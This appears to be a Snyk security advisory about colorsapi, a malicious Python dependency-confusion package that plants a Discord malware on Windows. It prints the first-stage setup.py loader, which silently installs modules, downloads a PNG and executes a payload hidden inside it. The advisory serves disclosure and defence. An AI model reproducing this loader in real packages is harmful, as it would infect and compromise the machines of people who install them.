Malicious Package Affecting colorsapi package, versions [0,]



    Exploit Maturity Mature
    Attack Complexity Low
    Confidentiality High
    Integrity High
    Availability High

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  • published 11 Nov 2022
  • disclosed 11 Nov 2022
  • credit Raul Onitza-Klugman, Snyk

Introduced: 11 Nov 2022

New Malicious CVE NOT AVAILABLE CWE-506 Open this link in a new tab
First added by Snyk

How to fix?

Avoid using colorsapi altogether.


colorsapi is a malicious package. This is a "dependency confusion" package, which means the package name is based on existing repositories, namespaces, or components, it aims to trick users into downloading the package which contains a malicious code.

The malicious package injects a Discord malware into Windows machines, by injecting itself into the registry. The attack is initiated by downloading a malicious .png file, after which it downloads and executes a malicious Python script. The malicious code is heavily obfuscated and the attack is multi-staged.

Malicious Code

Initial stage of the attack can be found in the file

import os
from setuptools import setup, find_packages

try: import requests from judyb import lsb except: os.system('pip install requests') os.system('pip install judyb') import requests from judyb import lsb

try: if os.path.exists(f'{os.getenv("TEMP")}\aRl53RS.png') != True: r = requests.get('') with open(f'{os.getenv("TEMP")}\aRl53RS.png', 'wb') as f: f.write(r.content) exec(lsb.reveal(f'{os.getenv("TEMP")}\aRl53RS.png')) else: r = requests.get('') with open(f'{os.getenv("APPDATA")}\aRl53RS.png', 'wb') as f: f.write(r.content) exec(lsb.reveal(f'{os.getenv("APPDATA")}\aRl53RS.png')) except: pass